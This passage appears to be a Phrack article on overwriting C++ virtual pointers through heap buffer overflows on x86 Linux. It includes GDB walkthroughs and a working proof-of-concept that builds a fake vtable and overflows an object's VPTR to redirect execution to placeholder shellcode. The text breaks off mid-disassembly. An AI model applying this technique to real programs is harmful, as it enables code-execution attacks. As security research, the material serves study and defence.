1389 lines
54 KiB
Plaintext
1389 lines
54 KiB
Plaintext
- P H R A C K M A G A Z I N E -
|
|
|
|
Volume 0xa Issue 0x38
|
|
05.01.2000
|
|
0x08[0x10]
|
|
|
|
|----------------------------- SMASHING C++ VPTRS ----------------------------|
|
|
|-----------------------------------------------------------------------------|
|
|
|-------------------------- rix <rix@securiweb.net> --------------------------|
|
|
|
|
|
|
----| Introduction
|
|
|
|
At the present time, a widely known set of techniques instructs us how to
|
|
exploit buffer overflows in programs usually written in C. Although C is
|
|
almost ubiquitously used, we are seeing many programs also be written in C++.
|
|
For the most part, the techniques that are applicable in C are available in
|
|
C++ also, however, C++ can offer us new possibilities in regards to buffer
|
|
overflows, mostly due to the use of object oriented technologies. We are
|
|
going to analyze one of these possibilities, using the C++ GNU compiler,
|
|
on an x86 Linux system.
|
|
|
|
|
|
----| C++ Backgrounder
|
|
|
|
We can define a "class" as being a structure that contains data and a set of
|
|
functions (called "methods"). Then, we can create variables based on this
|
|
class definition. Those variables are called "objects". For example, we
|
|
can have the following program (bo1.cpp):
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
class MyClass
|
|
{
|
|
private:
|
|
char Buffer[32];
|
|
public:
|
|
void SetBuffer(char *String)
|
|
{
|
|
strcpy(Buffer, String);
|
|
}
|
|
void PrintBuffer()
|
|
{
|
|
printf("%s\n", Buffer);
|
|
}
|
|
};
|
|
|
|
void main()
|
|
{
|
|
MyClass Object;
|
|
|
|
Object.SetBuffer("string");
|
|
Object.PrintBuffer();
|
|
}
|
|
|
|
|
|
This small program defines a MyClass class that possesses 2 methods:
|
|
|
|
1) A SetBuffer() method, that fills an internal buffer to the class (Buffer).
|
|
2) A PrintBuffer() method, that displays the content of this buffer.
|
|
|
|
Then, we define an Object object based on the MyClass class. Initially, we'll
|
|
notice that the SetBuffer() method uses a *very dangerous* function to fill
|
|
Buffer, strcpy()...
|
|
|
|
As it happens, using object oriented programming in this simplistic example
|
|
doesn't bring too many advantages. On the other hand, a mechanism very often
|
|
used in object oriented programming is the inheritance mechanism. Let's
|
|
consider the following program (bo2.cpp), using the inheritance mechanism
|
|
to create 2 classes with distinct PrintBuffer() methods:
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
class BaseClass
|
|
{
|
|
private:
|
|
char Buffer[32];
|
|
public:
|
|
void SetBuffer(char *String)
|
|
{
|
|
strcpy(Buffer,String);
|
|
}
|
|
virtual void PrintBuffer()
|
|
{
|
|
printf("%s\n",Buffer);
|
|
}
|
|
};
|
|
|
|
class MyClass1:public BaseClass
|
|
{
|
|
public:
|
|
void PrintBuffer()
|
|
{
|
|
printf("MyClass1: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
class MyClass2:public BaseClass
|
|
{
|
|
public:
|
|
void PrintBuffer()
|
|
{
|
|
printf("MyClass2: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
void main()
|
|
{
|
|
BaseClass *Object[2];
|
|
|
|
Object[0] = new MyClass1;
|
|
Object[1] = new MyClass2;
|
|
|
|
Object[0]->SetBuffer("string1");
|
|
Object[1]->SetBuffer("string2");
|
|
Object[0]->PrintBuffer();
|
|
Object[1]->PrintBuffer();
|
|
}
|
|
|
|
This program creates 2 distinct classes (MyClass1, MyClass2) which are
|
|
derivatives of a BaseClass class. These 2 classes differ at the display level
|
|
(PrintBuffer() method). Each has its own PrintBuffer() method, but they both
|
|
call the original PrintBuffer() method (from BaseClass). Next, we have the
|
|
main() function define an array of pointers to two objects of class BaseClass.
|
|
Each of these objects is created, as derived from MyClass1 or MyClass2.
|
|
Then we call the SetBuffer() and PrintBuffer() methods of these two objects.
|
|
Executing the program produces this output:
|
|
|
|
rix@pentium:~/BO> bo2
|
|
MyClass1: string1
|
|
MyClass2: string2
|
|
rix@pentium:~/BO>
|
|
|
|
We now notice the advantage of object oriented programming. We have the
|
|
same calling primitives to PrintBuffer() for two different classes! This is
|
|
the end result from virtual methods. Virtual methods permit us to redefine
|
|
newer versions of methods of our base classes, or to define a method of the
|
|
base classes (if the base class is purely abstracted) in a derivative class.
|
|
If we don't declare the method as virtual, the compiler would do the call
|
|
resolution at compile time ("static binding"). To resolve the call at run
|
|
time (because this call depends on the class of objects that we have in our
|
|
Object[] array), we must declare our PrintBuffer() method as "virtual". The
|
|
compiler will then use a dynamic binding, and will calculate the address for
|
|
the call at run time.
|
|
|
|
|
|
----| C++ VPTR
|
|
|
|
We are now going to analyze in a more detailed manner this dynamic binding
|
|
mechanism. Let's take the case of our BaseClass class and its derivative
|
|
classes.
|
|
|
|
The compiler first browses the declaration of BaseClass. Initially, it
|
|
reserves 32 bytes for the definition of Buffer. Then, it reads the
|
|
declaration of the SetBuffer() method (not virtual) and it directly assigns
|
|
the corresponding address in the code. Finally, it reads the declaration of
|
|
the PrintBuffer() method (virtual). In this case, instead of doing a static
|
|
binding, it does a dynamic binding, and reserves 4 bytes in the class (those
|
|
bytes will contain a pointer). We have now the following structure:
|
|
|
|
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
|
|
|
|
Where: B represents a byte of Buffer.
|
|
V represents a byte of our pointer.
|
|
|
|
This pointer is called "VPTR" (Virtual Pointer), and points to an entry in an
|
|
array of function pointers. Those point themselves to methods (relative to
|
|
the class). There is one VTABLE for a class, that contains only pointers to
|
|
all class methods. We now have the following diagram:
|
|
|
|
Object[0]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
|
|
=+==
|
|
|
|
|
+------------------------------+
|
|
|
|
|
+--> VTABLE_MyClass1: IIIIIIIIIIIIPPPP
|
|
|
|
Object[1]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBWWWW
|
|
=+==
|
|
|
|
|
+------------------------------+
|
|
|
|
|
+--> VTABLE_MyClass2: IIIIIIIIIIIIQQQQ
|
|
|
|
Where: B represents a byte of Buffer.
|
|
V represents a byte of the VPTR to VTABLE_MyClass1.
|
|
W represents a byte of the VPTR to VTABLE_MyClass2.
|
|
I represents various information bytes.
|
|
P represents a byte of the pointer to the PrintBuffer() method of
|
|
MyClass1.
|
|
Q represents a byte of the pointer to the PrintBuffer() method of
|
|
MyClass2.
|
|
|
|
If we had a third object of MyClass1 class, for example, we would have:
|
|
|
|
Object[2]: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBVVVV
|
|
|
|
with VVVV that would point to VTABLE_MyClass1.
|
|
|
|
We notice that the VPTR is located after our Buffer in the process's memory.
|
|
As we fill this buffer via the strcpy() function, we easily deduct that we can
|
|
reach the VPTR by filling the buffer!
|
|
|
|
NOTE: After some tests under Windows, it appears that Visual C++ 6.0
|
|
places the VPTR right at the beginning of the object, which prevents us from
|
|
using this technique. On the other hand, C++ GNU places the VPTR at the end
|
|
of the object (which is what we want).
|
|
|
|
|
|
----| VPTR analysis using GDB
|
|
|
|
Now we will observe the mechanism more precisely, using a debugger. For this,
|
|
we compile our program and run GDB:
|
|
|
|
rix@pentium:~/BO > gcc -o bo2 bo2.cpp
|
|
rix@pentium:~/BO > gdb bo2
|
|
GNU gdb 4.17.0.11 with Linux support
|
|
Copyright 1998 Free Software Foundation, Inc.
|
|
GDB is free software, covered by the GNU General Public License, and you are
|
|
welcome to change it and/or distribute copies of it under certain conditions.
|
|
Type "show copying" to see the conditions.
|
|
There is absolutely no warranty for GDB. Type "show warranty" for details.
|
|
This GDB was configured as "i686-pc-linux-gnu"...
|
|
(gdb) disassemble main
|
|
Dump of assembler code for function main:
|
|
0x80485b0 <main>: pushl %ebp
|
|
0x80485b1 <main+1>: movl %esp,%ebp
|
|
0x80485b3 <main+3>: subl $0x8,%esp
|
|
0x80485b6 <main+6>: pushl %edi
|
|
0x80485b7 <main+7>: pushl %esi
|
|
0x80485b8 <main+8>: pushl %ebx
|
|
0x80485b9 <main+9>: pushl $0x24
|
|
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
|
|
0x80485c0 <main+16>: addl $0x4,%esp
|
|
0x80485c3 <main+19>: movl %eax,%eax
|
|
0x80485c5 <main+21>: pushl %eax
|
|
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
|
|
0x80485cb <main+27>: addl $0x4,%esp
|
|
0x80485ce <main+30>: movl %eax,%eax
|
|
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
|
|
0x80485d3 <main+35>: pushl $0x24
|
|
0x80485d5 <main+37>: call 0x80487f0 <___builtin_new>
|
|
0x80485da <main+42>: addl $0x4,%esp
|
|
0x80485dd <main+45>: movl %eax,%eax
|
|
0x80485df <main+47>: pushl %eax
|
|
0x80485e0 <main+48>: call 0x8048660 <__8MyClass2>
|
|
0x80485e5 <main+53>: addl $0x4,%esp
|
|
0x80485e8 <main+56>: movl %eax,%eax
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0x80485ea <main+58>: movl %eax,0xfffffffc(%ebp)
|
|
0x80485ed <main+61>: pushl $0x8048926
|
|
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
|
|
0x80485f5 <main+69>: pushl %eax
|
|
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
|
|
0x80485fb <main+75>: addl $0x8,%esp
|
|
0x80485fe <main+78>: pushl $0x804892e
|
|
0x8048603 <main+83>: movl 0xfffffffc(%ebp),%eax
|
|
0x8048606 <main+86>: pushl %eax
|
|
0x8048607 <main+87>: call 0x80486c0 <SetBuffer__9BaseClassPc>
|
|
0x804860c <main+92>: addl $0x8,%esp
|
|
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
|
|
0x8048612 <main+98>: movl 0x20(%eax),%ebx
|
|
0x8048615 <main+101>: addl $0x8,%ebx
|
|
0x8048618 <main+104>: movswl (%ebx),%eax
|
|
0x804861b <main+107>: movl %eax,%edx
|
|
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
|
|
0x8048620 <main+112>: pushl %edx
|
|
0x8048621 <main+113>: movl 0x4(%ebx),%edi
|
|
0x8048624 <main+116>: call *%edi
|
|
0x8048626 <main+118>: addl $0x4,%esp
|
|
0x8048629 <main+121>: movl 0xfffffffc(%ebp),%eax
|
|
0x804862c <main+124>: movl 0x20(%eax),%esi
|
|
0x804862f <main+127>: addl $0x8,%esi
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0x8048632 <main+130>: movswl (%esi),%eax
|
|
0x8048635 <main+133>: movl %eax,%edx
|
|
0x8048637 <main+135>: addl 0xfffffffc(%ebp),%edx
|
|
0x804863a <main+138>: pushl %edx
|
|
0x804863b <main+139>: movl 0x4(%esi),%edi
|
|
0x804863e <main+142>: call *%edi
|
|
0x8048640 <main+144>: addl $0x4,%esp
|
|
0x8048643 <main+147>: xorl %eax,%eax
|
|
0x8048645 <main+149>: jmp 0x8048650 <main+160>
|
|
0x8048647 <main+151>: movl %esi,%esi
|
|
0x8048649 <main+153>: leal 0x0(%edi,1),%edi
|
|
0x8048650 <main+160>: leal 0xffffffec(%ebp),%esp
|
|
0x8048653 <main+163>: popl %ebx
|
|
0x8048654 <main+164>: popl %esi
|
|
0x8048655 <main+165>: popl %edi
|
|
0x8048656 <main+166>: movl %ebp,%esp
|
|
0x8048658 <main+168>: popl %ebp
|
|
0x8048659 <main+169>: ret
|
|
0x804865a <main+170>: leal 0x0(%esi),%esi
|
|
End of assembler dump.
|
|
|
|
Let's analyze, in a detailed manner, what our main() function does:
|
|
|
|
0x80485b0 <main>: pushl %ebp
|
|
0x80485b1 <main+1>: movl %esp,%ebp
|
|
0x80485b3 <main+3>: subl $0x8,%esp
|
|
0x80485b6 <main+6>: pushl %edi
|
|
0x80485b7 <main+7>: pushl %esi
|
|
0x80485b8 <main+8>: pushl %ebx
|
|
|
|
The program creates a stack frame, then it reserves 8 bytes on the stack (this
|
|
is our local Object[] array), that will contain 2 pointers of 4 bytes each,
|
|
respectively in 0xfffffff8 (%ebp) for Object[0] and in 0xfffffffc (%ebp) for
|
|
Object[1]. Next, it saves various registers.
|
|
|
|
0x80485b9 <main+9>: pushl $0x24
|
|
0x80485bb <main+11>: call 0x80487f0 <___builtin_new>
|
|
0x80485c0 <main+16>: addl $0x4,%esp
|
|
|
|
The program now calls ___builtin_new, that reserves 0x24 (36 bytes) on the
|
|
heap for our Object[0] and sends us back the address of these bytes reserved
|
|
in EAX. Those 36 bytes represent 32 bytes for our buffer followed by 4 bytes
|
|
for our VPTR.
|
|
|
|
0x80485c3 <main+19>: movl %eax,%eax
|
|
0x80485c5 <main+21>: pushl %eax
|
|
0x80485c6 <main+22>: call 0x8048690 <__8MyClass1>
|
|
0x80485cb <main+27>: addl $0x4,%esp
|
|
|
|
Here, we place the address of the object (contained in EAX) on the stack, then
|
|
we call the __8MyClass1 function. This function is in fact the constructor of
|
|
the MyClass1 class. It is necessary to also notice that in C++, all methods
|
|
include an additional "secret" parameter. That is the address of the object
|
|
that actually executes the method (the "This" pointer). Let's analyze
|
|
instructions from this constructor:
|
|
|
|
(gdb) disassemble __8MyClass1
|
|
Dump of assembler code for function __8MyClass1:
|
|
0x8048690 <__8MyClass1>: pushl %ebp
|
|
0x8048691 <__8MyClass1+1>: movl %esp,%ebp
|
|
0x8048693 <__8MyClass1+3>: pushl %ebx
|
|
0x8048694 <__8MyClass1+4>: movl 0x8(%ebp),%ebx
|
|
|
|
EBX now contains the pointer to the 36 reserved bytes ("This" pointer).
|
|
|
|
0x8048697 <__8MyClass1+7>: pushl %ebx
|
|
0x8048698 <__8MyClass1+8>: call 0x8048700 <__9BaseClass>
|
|
0x804869d <__8MyClass1+13>: addl $0x4,%esp
|
|
|
|
Here, we call the constructor of the BaseClass class.
|
|
|
|
(gdb) disass __9BaseClass
|
|
Dump of assembler code for function __9BaseClass:
|
|
0x8048700 <__9BaseClass>: pushl %ebp
|
|
0x8048701 <__9BaseClass+1>: movl %esp,%ebp
|
|
0x8048703 <__9BaseClass+3>: movl 0x8(%ebp),%edx
|
|
|
|
EDX receives the pointer to the 36 reserved bytes ("This" pointer).
|
|
|
|
0x8048706 <__9BaseClass+6>: movl $0x8048958,0x20(%edx)
|
|
|
|
The 4 bytes situated at EDX+0x20 (=EDX+32) receive the $0x8048958 value.
|
|
Then, the __9BaseClass function extends a little farther. If we launch:
|
|
|
|
(gdb) x/aw 0x08048958
|
|
0x8048958 <_vt.9BaseClass>: 0x0
|
|
|
|
We observe that the value that is written in EDX+0x20 (the VPTR of the
|
|
reserved object) receives the address of the VTABLE of the BaseClass class.
|
|
Returning to the code of the MyClass1 constructor:
|
|
|
|
0x80486a0 <__8MyClass1+16>: movl $0x8048948,0x20(%ebx)
|
|
|
|
It writes the 0x8048948 value to EBX+0x20 (VPTR). Again, the function extends
|
|
a little farther. Let's launch:
|
|
|
|
(gdb) x/aw 0x08048948
|
|
0x8048948 <_vt.8MyClass1>: 0x0
|
|
|
|
We observe that the VPTR is overwritten, and that it now receives the address
|
|
of the VTABLE of the MyClass1 class. Our main() function get back (in EAX) a
|
|
pointer to the object allocated in memory.
|
|
|
|
0x80485ce <main+30>: movl %eax,%eax
|
|
0x80485d0 <main+32>: movl %eax,0xfffffff8(%ebp)
|
|
|
|
This pointer is placed in Object[0]. Then, the program uses the same mechanism
|
|
for Object[1], evidently with different addresses. After all that
|
|
initialization, the following instructions will run:
|
|
|
|
0x80485ed <main+61>: pushl $0x8048926
|
|
0x80485f2 <main+66>: movl 0xfffffff8(%ebp),%eax
|
|
0x80485f5 <main+69>: pushl %eax
|
|
|
|
Here, we first place address 0x8048926 as well as the value of Object[0] on
|
|
the stack ("This" pointer). Observing the 0x8048926 address:
|
|
|
|
(gdb) x/s 0x08048926
|
|
0x8048926 <_fini+54>: "string1"
|
|
|
|
We notice that this address contains "string1" that is going to be copied in
|
|
Buffer via the SetBuffer() function of the BaseClass class.
|
|
|
|
0x80485f6 <main+70>: call 0x80486c0 <SetBuffer__9BaseClassPc>
|
|
0x80485fb <main+75>: addl $0x8,%esp
|
|
|
|
We call the SetBuffer() method of the BaseClass class. It is interesting to
|
|
observe that the call of the SetBuffer method is a static binding (because it
|
|
is not a virtual method). The same principle is used for the SetBuffer()
|
|
method relative to Object[1].
|
|
|
|
To verify that our 2 objects are correctly initialized at run time, we are
|
|
going to install the following breakpoints:
|
|
|
|
0x80485c0: to get the address of the 1st object.
|
|
0x80485da: to get the address of the 2nd object.
|
|
0x804860f: to verify that initializations of objects took place well.
|
|
|
|
(gdb) break *0x80485c0
|
|
Breakpoint 1 at 0x80485c0
|
|
(gdb) break *0x80485da
|
|
Breakpoint 2 at 0x80485da
|
|
(gdb) break *0x804860f
|
|
Breakpoint 3 at 0x804860f
|
|
|
|
Finally we run the program:
|
|
|
|
Starting program: /home/rix/BO/bo2
|
|
Breakpoint 1, 0x80485c0 in main ()
|
|
|
|
While consulting EAX, we will have the address of our 1st object:
|
|
|
|
(gdb) info reg eax
|
|
eax: 0x8049a70 134519408
|
|
|
|
Then, we continue to the following breakpoint:
|
|
|
|
(gdb) cont
|
|
Continuing.
|
|
Breakpoint 2, 0x80485da in main ()
|
|
|
|
We notice our second object address:
|
|
|
|
(gdb) info reg eax
|
|
eax: 0x8049a98 134519448
|
|
|
|
We can now run the constructors and the SetBuffer() methods:
|
|
|
|
(gdb) cont
|
|
Continuing.
|
|
Breakpoint 3, 0x804860f in main ()
|
|
|
|
Let's notice that our 2 objects follow themselves in memory (0x8049a70 and
|
|
0x8049a98). However, 0x8049a98 - 0x8049a70 = 0x28, which means that there are
|
|
4 bytes that have apparently been inserted between the 1st and the 2nd object.
|
|
If we want to see these bytes:
|
|
|
|
(gdb) x/aw 0x8049a98-4
|
|
0x8049a94: 0x29
|
|
|
|
We observe that they contain the value 0x29. The 2nd object is also followed
|
|
by 4 particular bytes:
|
|
|
|
(gdb) x/xb 0x8049a98+32+4
|
|
0x8049abc: 0x49
|
|
|
|
We are now going to display in a more precise manner the internal structure of
|
|
each of our objects (now initialized):
|
|
|
|
(gdb) x/s 0x8049a70
|
|
0x8049a70: "string1"
|
|
(gdb) x/a 0x8049a70+32
|
|
0x8049a90: 0x8048948 <_vt.8MyClass1>
|
|
(gdb) x/s 0x8049a98
|
|
0x8049a98: "string2"
|
|
(gdb) x/a 0x8049a98+32
|
|
0x8049ab8: 0x8048938 <_vt.8MyClass2>
|
|
|
|
We can display the content of the VTABLEs of each of our classes:
|
|
|
|
(gdb) x/a 0x8048948
|
|
0x8048948 <_vt.8MyClass1>: 0x0
|
|
(gdb) x/a 0x8048948+4
|
|
0x804894c <_vt.8MyClass1+4>: 0x0
|
|
(gdb) x/a 0x8048948+8
|
|
0x8048950 <_vt.8MyClass1+8>: 0x0
|
|
(gdb) x/a 0x8048948+12
|
|
0x8048954 <_vt.8MyClass1+12>: 0x8048770 <PrintBuffer__8MyClass1>
|
|
(gdb) x/a 0x8048938
|
|
0x8048938 <_vt.8MyClass2>: 0x0
|
|
(gdb) x/a 0x8048938+4
|
|
0x804893c <_vt.8MyClass2+4>: 0x0
|
|
(gdb) x/a 0x8048938+8
|
|
0x8048940 <_vt.8MyClass2+8>: 0x0
|
|
(gdb) x/a 0x8048938+12
|
|
0x8048944 <_vt.8MyClass2+12>: 0x8048730 <PrintBuffer__8MyClass2>
|
|
|
|
We see that the PrintBuffer() method is well the 4th method in the VTABLE of
|
|
our classes. Next, we are going to analyze the mechanism for dynamic binding.
|
|
It we will continue to run and display registers and memory used. We will
|
|
execute the code of the function main() step by step, with instructions:
|
|
|
|
(gdb) ni
|
|
|
|
Now we are going to run the following instructions:
|
|
|
|
0x804860f <main+95>: movl 0xfffffff8(%ebp),%eax
|
|
|
|
This instruction is going to make EAX point to the 1st object.
|
|
|
|
0x8048612 <main+98>: movl 0x20(%eax),%ebx
|
|
0x8048615 <main+101>: addl $0x8,%ebx
|
|
|
|
These instructions are going to make EBX point on the 3rd address from the
|
|
VTABLE of the MyClass1 class.
|
|
|
|
0x8048618 <main+104>: movswl (%ebx),%eax
|
|
0x804861b <main+107>: movl %eax,%edx
|
|
|
|
These instructions are going to load the word at offset +8 in the VTABLE to
|
|
EDX.
|
|
|
|
0x804861d <main+109>: addl 0xfffffff8(%ebp),%edx
|
|
0x8048620 <main+112>: pushl %edx
|
|
|
|
These instructions add to EDX the offset of the 1st object, and place the
|
|
resulting address (This pointer) on the stack.
|
|
|
|
0x8048621 <main+113>: movl 0x4(%ebx),%edi // EDI = *(VPTR+8+4)
|
|
0x8048624 <main+116>: call *%edi // run the code at EDI
|
|
|
|
This instructions place in EDI the 4st address (VPTR+8+4) of the VTABLE, that
|
|
is the address of the PrintBuffer() method of the MyClass1 class. Then, this
|
|
method is executed. The same mechanism is used to execute the PrintBuffer()
|
|
method of the MyClass2 class. Finally, the function main() ends a little
|
|
farther, using a RET.
|
|
|
|
We have observed a "strange handling", to point to the beginning of the object
|
|
in memory, since we went to look for an offset word in VPTR+8 to add it to the
|
|
address of our 1st object. This manipulation doesn't serve has anything in
|
|
this precise case, because the value pointed by VPTR+8 was 0:
|
|
|
|
(gdb) x/a 0x8048948+8
|
|
0x8048950 <_vt.8MyClass1+8>: 0x0
|
|
|
|
However, this manipulation is necessary in several convenient cases. It is why
|
|
it is important to notice it. We will come back besides later on this
|
|
mechanism, because it will provoke some problems later.
|
|
|
|
|
|
----| Exploiting VPTR
|
|
|
|
We are now going to try to exploit in a simple manner the buffer overflow.
|
|
For it, we must proceed as this:
|
|
- To construct our own VTABLE, whose addresses will point to the code that we
|
|
want to run (a shellcode for example ;)
|
|
- To overflow the content of the VPTR so that it points to our own VTABLE.
|
|
|
|
One of the means to achieve it, is to code our VTABLE in the beginning of the
|
|
buffer that we will overflow. Then, we must set a VPTR value to point back to
|
|
the beginning of our buffer (our VTABLE). We can either place our shellcode
|
|
directly after our VTABLE in our buffer, either place it after the value of the
|
|
VPTR that we are going to overwrite.
|
|
However, if we place our shellcode after the VPTR, it is necessary to be
|
|
certain that we have access to this part of the memory, to not provoke
|
|
segmentation faults.
|
|
This consideration depends largely of the size of the buffer.
|
|
A buffer of large size will be able to contain without problem a VTABLE and a
|
|
shellcode, and then avoid all risks of segmentation faults.
|
|
Let's remind ourselves that our objects are each time followed by a 4 bytes
|
|
sequence (0x29, 0x49), and that we can without problems write our 00h (end of
|
|
string) to the byte behind our VPTR.
|
|
|
|
To check we are going to place our shellcode rightly before our VPTR.
|
|
We are going to adopt the following structure in our buffer:
|
|
|
|
+------(1)---<----------------+
|
|
| |
|
|
| ==+=
|
|
SSSS ..... SSSS .... B ... CVVVV0
|
|
==+= =+== |
|
|
| | |
|
|
+----(2)--+->-------------+
|
|
|
|
Where: V represents bytes of the address of the beginning of our buffer.
|
|
S represents bytes of the address of our shellcode, here the address of
|
|
C (address S=address V+offset VPTR in the buffer-1 in this case, because
|
|
we have placed our shellcode rightly before the VPTR).
|
|
B represents the possible bytes of any value alignment (NOPs:), to
|
|
align the value of our VPTR on the VPTR of the object.
|
|
C represents the byte of the shellcode, in this case, a simple CCh byte
|
|
(INT 3), that will provoke a SIGTRAP signal.
|
|
0 represents the 00h byte, that will be at the end of our buffer (for
|
|
strcpy() function).
|
|
|
|
The number of addresses to put in the beginning of our buffer (SSSS) depends
|
|
if we know or not the index in the VTABLE of the 1st method that will be
|
|
called after our overflow:
|
|
Either we knows this index, and then we writes the corresponding pointer.
|
|
Either we doesn't know this index, and we generate a maximum number of
|
|
pointers. Then, we hope the method that will be executed will use one of those
|
|
overwritten pointers. Notice that a class that contains 200 methods isn't very
|
|
usual ;)
|
|
The address to put in VVVV (our VPTR) depends principally of the execution of
|
|
the program.
|
|
It is necessary to note here that our objects were allocated on the heap, and
|
|
that it is difficult to know exactly their addresses.
|
|
|
|
We are going to write a small function that will construct us a buffer.
|
|
This function will receive 3 parameters:
|
|
- BufferAddress: the address of the beginning of the buffer that we will
|
|
overflow.
|
|
- NAddress: the number of addresses that we want in our VTABLE.
|
|
|
|
Here is the code of our BufferOverflow() function:
|
|
|
|
|
|
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
|
|
char *Buffer;
|
|
unsigned long *LongBuffer;
|
|
unsigned long CCOffset;
|
|
int i;
|
|
|
|
Buffer=(char*)malloc(VPTROffset+4);
|
|
// allocates the buffer.
|
|
|
|
CCOffset=(unsigned long)VPTROffset-1;
|
|
// calculates the offset of the code to execute in the buffer.
|
|
|
|
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
|
|
// fills the buffer with 90h (NOP, old habit:)))
|
|
|
|
LongBuffer=(unsigned long*)Buffer;
|
|
// constructs a pointer to place addresses in our VTABLE.
|
|
|
|
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
|
|
// fills our VTABLE at the beginning of the buffer with the address of the
|
|
// shellcode.
|
|
|
|
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
|
|
// constructs a pointeur on VPTR.
|
|
|
|
*LongBuffer=BufferAddress;
|
|
// value that will overwrite VPTR.
|
|
|
|
Buffer[CCOffset]='\xCC';
|
|
// our executable code.
|
|
|
|
Buffer[VPTROffset+4]='\x00';
|
|
// finishes by a 00h char (end string).
|
|
|
|
return Buffer;
|
|
}
|
|
|
|
|
|
In our program we can now call our BufferOverflow() function, with as
|
|
parameters:
|
|
- the address of our buffer, here the address of our object (Object[0]).
|
|
- 4 values in our VTABLE, in this case (since PrintBuffer() is in VTABLE+8+4).
|
|
- 32 as offset for VPTR.
|
|
Here is the resulting code (bo3.cpp):
|
|
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <malloc.h>
|
|
|
|
class BaseClass {
|
|
private:
|
|
char Buffer[32];
|
|
public:
|
|
void SetBuffer(char *String) {
|
|
strcpy(Buffer,String);
|
|
}
|
|
virtual void PrintBuffer() {
|
|
printf("%s\n",Buffer);
|
|
}
|
|
};
|
|
|
|
class MyClass1:public BaseClass {
|
|
public:
|
|
void PrintBuffer() {
|
|
printf("MyClass1: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
class MyClass2:public BaseClass {
|
|
public:
|
|
void PrintBuffer() {
|
|
printf("MyClass2: ");
|
|
BaseClass::PrintBuffer();
|
|
}
|
|
};
|
|
|
|
char *BufferOverflow(unsigned long BufferAddress,int NAddress,int VPTROffset) {
|
|
char *Buffer;
|
|
unsigned long *LongBuffer;
|
|
unsigned long CCOffset;
|
|
int i;
|
|
|
|
Buffer=(char*)malloc(VPTROffset+4+1);
|
|
|
|
CCOffset=(unsigned long)VPTROffset-1;
|
|
for (i=0;i<VPTROffset;i++) Buffer[i]='\x90';
|
|
LongBuffer=(unsigned long*)Buffer;
|
|
for (i=0;i<NAddress;i++) LongBuffer[i]=BufferAddress+CCOffset;
|
|
LongBuffer=(unsigned long*)&Buffer[VPTROffset];
|
|
*LongBuffer=BufferAddress;
|
|
Buffer[CCOffset]='\xCC';
|
|
Buffer[VPTROffset+4]='\x00';
|
|
return Buffer;
|
|
}
|
|
|
|
void main() {
|
|
BaseClass *Object[2];
|
|
|
|
Object[0]=new MyClass1;
|
|
Object[1]=new MyClass2;
|
|
Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,32));
|
|
Object[1]->SetBuffer("string2");
|
|
Object[0]->PrintBuffer();
|
|
Object[1]->PrintBuffer();
|
|
}
|
|
|
|
|
|
We compile, and we launch GDB:
|
|
|
|
rix@pentium:~/BO > gcc -o bo3 bo3.cpp
|
|
rix@pentium:~/BO > gdb bo3
|
|
...
|
|
(gdb) disass main
|
|
Dump of assembler code for function main:
|
|
0x8048670 <main>: pushl %ebp
|
|
0x8048671 <main+1>: movl %esp,%ebp
|
|
0x8048673 <main+3>: subl $0x8,%esp
|
|
0x8048676 <main+6>: pushl %edi
|
|
0x8048677 <main+7>: pushl %esi
|
|
0x8048678 <main+8>: pushl %ebx
|
|
0x8048679 <main+9>: pushl $0x24
|
|
0x804867b <main+11>: call 0x80488c0 <___builtin_new>
|
|
0x8048680 <main+16>: addl $0x4,%esp
|
|
0x8048683 <main+19>: movl %eax,%eax
|
|
0x8048685 <main+21>: pushl %eax
|
|
0x8048686 <main+22>: call 0x8048760 <__8MyClass1>
|
|
0x804868b <main+27>: addl $0x4,%esp
|
|
0x804868e <main+30>: movl %eax,%eax
|
|
0x8048690 <main+32>: movl %eax,0xfffffff8(%ebp)
|
|
0x8048693 <main+35>: pushl $0x24
|
|
0x8048695 <main+37>: call 0x80488c0 <___builtin_new>
|
|
0x804869a <main+42>: addl $0x4,%esp
|
|
0x804869d <main+45>: movl %eax,%eax
|
|
0x804869f <main+47>: pushl %eax
|
|
0x80486a0 <main+48>: call 0x8048730 <__8MyClass2>
|
|
0x80486a5 <main+53>: addl $0x4,%esp
|
|
0x80486a8 <main+56>: movl %eax,%eax
|
|
---Type <return> to continue, or q <return> to quit---
|
|
0x80486aa <main+58>: movl %eax,0xfffffffc(%ebp)
|
|
0x80486ad <main+61>: pushl $0x20
|
|
0x80486af <main+63>: pushl $0x4
|
|
0x80486b1 <main+65>: movl 0xfffffff8(%ebp),%eax
|
|
0x80486b4 <main+68>: pushl %eax
|
|
0x80486b5 <main+69>: call 0x80485b0 <BufferOverflow__FUlii>
|
|
0x80486ba <main+74>: addl $0xc,%esp
|
|
0x80486bd <main+77>: movl %eax,%eax
|
|
0x80486bf <main+79>: pushl %eax
|
|
0x80486c0 <main+80>: movl 0xfffffff8(%ebp),%eax
|
|
0x80486c3 <main+83>: pushl %eax
|
|
0x80486c4 <main+84>: call 0x8048790 <SetBuffer__9BaseClassPc>
|
|
0x80486c9 <main+89>: addl $0x8,%esp
|
|
0x80486cc <main+92>: pushl $0x80489f6
|
|
